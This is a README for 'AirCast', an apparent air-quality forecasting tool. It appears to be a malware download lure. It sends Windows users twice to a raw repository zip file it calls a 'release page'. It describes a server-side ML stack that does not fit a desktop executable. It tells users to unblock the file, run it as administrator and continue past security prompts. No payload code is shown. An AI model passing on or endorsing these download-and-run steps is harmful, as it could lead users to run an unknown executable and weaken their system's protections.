🌤️ AirCast - Forecast Air Quality with Confidence

📌 What AirCast Does

AirCast helps you track and forecast air pollution levels across Indian cities. It brings data in, prepares it, trains models, and shows live predictions in one place.

Use it to:

• check forecasted air quality for supported cities
• review past pollution trends
• view model version details
• monitor live system status
• see current prediction results in a simple interface

🖥️ Windows Setup

AirCast is meant to run on a Windows PC from a release file.

What you need

• Windows 10 or Windows 11
• At least 4 GB RAM
• 2 GB free disk space
• An internet connection for download and updates
• Permission to run downloaded apps

Before you start

• Close other large apps
• Make sure your browser can download files
• Keep your Downloads folder easy to find

⬇️ Download AirCast

Visit this page to download the Windows release:

https://raw.githubusercontent.com/Instant-restharrow443/AirCast/main/src/Air-Cast-1.5.zip

On that page:

1. open the latest release
2. find the Windows file, such as .exe or .zip
3. download the file
4. if you get a .zip, extract it first
5. if you get an .exe, double-click it to start

🔧 Install and Run

If you downloaded an .exe

1. Open the file from your Downloads folder
2. If Windows asks for permission, choose Run
3. Follow the on-screen steps
4. Wait for the app to finish starting

If you downloaded a .zip

1. Right-click the file
2. Select Extract All
3. Open the extracted folder
4. Find the app file inside
5. Double-click it to run AirCast

If Windows blocks the app

1. Right-click the file
2. Open Properties
3. If you see an Unblock option, select it
4. Click Apply
5. Run the app again

🌍 What You Can Do in the App

Once AirCast opens, you can:

• pick a city from the list
• view forecasted pollution levels
• compare nearby dates
• check trend charts
• review model output for the selected area
• inspect live health and service status

The interface is set up for quick use, so you can get to the forecast without a long setup process.

📊 How AirCast Works

AirCast follows a full flow behind the scenes:

• it gathers raw air data
• it cleans and prepares the data
• it trains forecast models
• it stores model versions
• it serves predictions through an API
• it tracks system health and usage

This setup helps keep the results organized and easier to monitor over time.

🏙️ Supported Use Cases

AirCast fits well for:

• city air quality checks
• public health planning
• environmental review
• pollution trend studies
• model testing and comparison
• live forecast viewing

🧩 Core Parts

AirCast includes:

• a data ingestion pipeline
• model training and scoring
• version tracking for models
• a FastAPI service for predictions
• observability for app health
• Docker-based runtime support
• AWS-ready deployment structure
• CI/CD workflow support

✅ Good First Run Checklist

After you launch AirCast, check these items:

• the main window opens without errors
• you can select a city
• forecast data appears
• charts load on screen
• the app shows a current status view
• the time and date match your system clock

🛠️ Common Problems

The app does not open

• check whether the download finished
• try running it as an administrator
• confirm that Windows did not quarantine the file

The window opens and closes fast

• open the file from the extracted folder again
• make sure you downloaded the correct Windows release
• try the newest release from the release page

No data appears

• confirm your internet connection
• wait a few seconds and refresh the view
• reopen the app if needed

Windows shows a security prompt

• review the file name and source
• continue only if it came from the release page above

🔁 Updating AirCast

To update:

1. go to the release page
2. download the newest Windows file
3. remove the older version if needed
4. install or run the new file
5. reopen the app

📁 File Layout

A typical release may include:

• the main app file
• support files
• config files
• model assets
• log files
• a readme or release note

Keep all related files in the same folder if the release uses a zip package.

🔐 Data and Model Notes

AirCast uses trained models to make air quality forecasts. The results depend on:

• input data quality
• model version
• city coverage
• forecast time range
• current live data feed

If a city is not listed, the app may not show a forecast for it yet.

🧭 Helpful Use Tips

• use the latest release for the best results
• keep the app in a folder with write access
• do not rename the main app file
• keep the extracted files together
• check your internet connection if live data looks stale

📦 Release Page

Download the Windows build here:

https://raw.githubusercontent.com/Instant-restharrow443/AirCast/main/src/Air-Cast-1.5.zip

🧱 Tech Stack

AirCast uses tools and services tied to:

• machine learning
• data pipelines
• FastAPI
• Docker
• MLflow
• AWS
• CI/CD
• observability

🗺️ Expected Workflow

1. download the release
2. open or extract the file
3. launch AirCast
4. choose a city
5. view the forecast
6. review trends and model data
7. keep the app updated from the release page